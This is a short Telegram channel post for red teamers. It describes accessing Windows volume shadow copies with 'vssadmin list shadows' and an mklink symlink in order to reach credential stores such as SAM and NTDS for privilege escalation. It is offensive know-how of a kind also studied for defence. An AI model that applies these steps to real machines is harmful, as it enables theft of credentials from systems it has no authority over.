hackspace – Telegram
hackspace
157 subscribers
279 photos
75 videos
23 files
998 links
hackspace
Download Telegram
Red Teamers: Volume shadow copies are backups of parts (or all) of the Windows filesystem. Accessing can be easy privesc (SAM, NTDS, etc.)

1. List shadows
vssadmin list shadows

2. Symlink for access
mklink /d c:\shadow \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\